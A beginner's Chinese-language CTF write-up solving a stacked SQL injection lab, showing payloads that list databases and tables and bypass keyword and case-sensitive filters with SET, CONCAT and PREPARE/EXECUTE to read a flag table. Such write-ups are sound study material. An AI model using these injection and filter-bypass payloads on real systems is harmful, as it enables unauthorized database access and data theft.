学长给我们留的入门题,作为新手的我还是写个题解纪念一下自己的第一道 CTF 题,顺便猜测一下后端的代码。
前置准备
进入靶机,发现已经给我们填充好了 1
,直接点提交试试。
响应的 Headers 为:
1 | Connection: keep-alive |
由此可知后台是 PHP 驱动的。
网页回显为:
1 | array(2) { |
注意到第一个字段的数据类型为 string,猜测为字符型注入,尝试输入 1'
,果然报错了,初步判断后端代码应类似 $sql = "select * from table_name where id='".$_GET['id']."';";
。构造 payload:1';show databases;#
,发现有输出,验证了之前的想法。
得到的数据库列表:
1 | array(1) { |
绕过关键字过滤
但是想查看当前库名的时候遇到了困难。
我们输入 ';select database();#
,网页回显 return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
,说明对输入进行了不区分大小写的关键词正则匹配过滤。
但是我们有预处理!我们可以定义字符串并将其预处理后运行来达到目的。
既然有关键词过滤,我们就把它拆开来,利用 CONCAT
拼接后执行。
于是我们构造以下 payload:';set @s=concat('s','elect database()');prepare st from @s;execute st;#
。
结果回显如下:strstr($inject, "set") && strstr($inject, "prepare")
。
好家伙,连这个都过检测了。但是转念一想,PHP 中的 strstr 函数是区分大小写的,而 SQL 语句是不区分大小写的,那我岂不是把语句全转为大写即可了?
将 payload 稍加修改:';SET @s=CONCAT('S','ELECT DATABASE()');PREPARE st FROM @s;EXECUTE st;#
.
得到当前数据库名称:
1 | array(1) { |
寻找 FLAG
还记得我们一开始拿到的数据库表吗,里面有个叫 ctftraining 的数据库。
payload:';show tables from ctftraining;#
发现里面有个叫 FLAG_TABLE 的数据表,直觉告诉我 FLAG 一定在里面,胜利就在眼前。
payload:';use ctftraining;SET @s=CONCAT('S','ELECT * FROM FLAG_TABLE');PREPARE st FROM @s;EXECUTE st;#
结果却发现这个表是空的??
不信邪的我查看了这个库下的所有的表,终于在 news 表下发现了这条信息:
1 | ... |
搞半天结果这里是陷阱?真是吐血。
挨个排查后,发现 FLAG 在最开始默认加载的 supersqli 库里,可谓是“踏破铁鞋无觅处,得来不全费工夫”。
最后的 payload:';SET @s=CONCAT('S','ELECT * FROM `1919810931114514`');PREPARE st FROM @s;EXECUTE st;#
得到的 flag:
1 | array(1) { |